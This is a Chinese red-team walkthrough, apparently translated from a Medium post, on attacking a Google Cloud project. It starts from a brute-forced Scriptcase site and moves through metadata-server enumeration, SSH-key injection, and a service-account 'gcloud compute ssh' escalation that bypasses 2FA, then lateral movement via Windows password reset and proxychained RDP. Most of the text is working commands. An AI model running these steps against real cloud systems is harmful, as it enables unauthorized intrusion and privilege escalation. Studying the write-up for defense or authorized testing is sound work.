初始访问一带而过,通过收集信息搜集到一个scriptcase程序的网站,通过爆破拿到账号密码
枚举和权限提升
使用运行 scriptcase 服务的守护进程帐户登陆实例
当登陆特定的云环境时,最好使用环境提供的本机工具来执行初始枚举(例如 AWS 中的 aws-cli 或 GCP 中的gcloud/gutils)
看到当前账户(守护进程帐户)无权创建运行 gcloud文件所需的文件夹。尝试手动下载二进制文件到tmp目录然后运行。查看一下我们的帐户信息。
默认shell是nologin,无法交互式使用,
使用gcloud 需要主文件夹创建配置文件,手动在tmp创建
每当在 GCP 中创建实例时,默认会为创建一个关联的服务帐户,现在可以枚举账户
INSTANCEID=$(curl http://metadata.google.internal/computeMetadata/v1/instance/id -H "Metadata-Flavor:Google" -s)
FULLZONE=$(curl http://metadata.google.internal/computeMetadata/v1/instance/zone -H "Metadata-Flavor:Google" -s)
gcloud compute instances describe $INSTANCEID --zone $FULLZONE
editor角色是与服务帐户关联的默认角色,它允许privesc。尝试修改实例元数据以注入 ssh 密钥
(参考https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)。
首先,检查是否已经有一些可以替换的用户密钥。
获取实例元数据
INSTANCEID=$(curl http://metadata.google.internal/computeMetadata/v1/instance/id -H "Metadata-Flavor:Google" -s)
FULLZONE=$(curl http://metadata.google.internal/computeMetadata/v1/instance/zone-H "Metadata-Flavor: Google" -s)
gcloud compute instances describe $INSTANCEID --zone $FULLZONE
此实例元数据中似乎没有任何 ssh 密钥。按常理来讲,它应该是这样的(下图来自本项目另一个实例,在此只是举个例子)
本实例中,可以获得一条信息
-key: enable-oslogin
这个稍后讨论
现在让尝试将我们的密钥注入到实例元数据中:
创建密钥
ssh-keygen -t rsa -C "shenanigans" -f ./key -P "" && cat ./key.pub
gcloud compute instances add-metadata instance012 --metadata-from-file ssh-keys=meta.txt
注入元数据
尝试
我们的 ssh 密钥似乎不起作用
验证一下是否注入成功
可以看到没问题
一定有另一件事阻止我们登录。这家公司为 ssh 登录配置了强制 2FA,我们没有为我们的帐户创建第二个因素。需要找到绕过它的方法。
如果您读了以上 Gitlab 的文章,结合上面获得的信息 -key: enable-oslogin,文章解释说 2FA 的要求并未针对服务帐户强制执行。请记住,我们当前作为 gcloud 计算实例服务帐户运行(可以使用 auth 命令查看):
GCP 的另一个功能是,默认情况下从API 运行ssh 命令将为你的服务帐户创建密钥,将它们注入目标实例(在本例中为 localhost)并允许您加入 sudoers 组,让我们试一试:
gcloud compute ssh $INSTANCENAME
创建我们的密钥并注入它们
成功提权,现在进行横向移动
枚举项目中的实例
gcloud compute instances list
ssh 命令也应该适用于其他实例
由于某种原因,部分实例没有响应我们的 ssh 命令
进行了快速端口扫描后,发现这个项目既有 Linux 又有 Windows 机器
扫描实例并不总是确定其操作系统的最佳方法。你可能正在执行红队任务,并且可能有 IDS 监视,用nmap也不方便
有一种解决方法:当查询实例信息时,可以在 JSON 结果中获得的参数之一是许可信息。这应该允许您推断实例操作系统。我们可以通过以下方式查询:
根据许可记录枚举操作系统信息
INSTANCES=$(gcloud compute instances list — format=json | jq -r .[].name)
ZONE=$(curl http://metadata.google.internal/computeMetadata/v1/instance/zone -H "Metadata-Flavor: Google" -s | cut -d/ -f4)
for i in $(echo $INSTANCES); do echo "$i:" && gcloud compute instances describe g-shr-scriptcase-01 --zone $ZONE --format=json | jq-r .disks[].licenses[] | rev | cut -d / -f 1 | rev && echo; done
现在可以看到实例的操作系统,若是转向windows系统,则使用类似compute ssh的命令
gcloud compute reset-windows-password g-xbz-qlikview-01 --user=shenanigans
(参考https://medium.com/@tomaszwybraniec/google-cloud-platform-pentest-notes-service-accounts-b960dc59d93a)
使用proxychains登录
proxychains4 xfreerdp /u:shenanigans /p:';QfJt@fJt\fJtHfJt4)L' /v:172.21.31.8
From:
https://securityshenanigans.medium.com/enumeration-and-lateral-movement-in-gcp-environments-c3b82d342794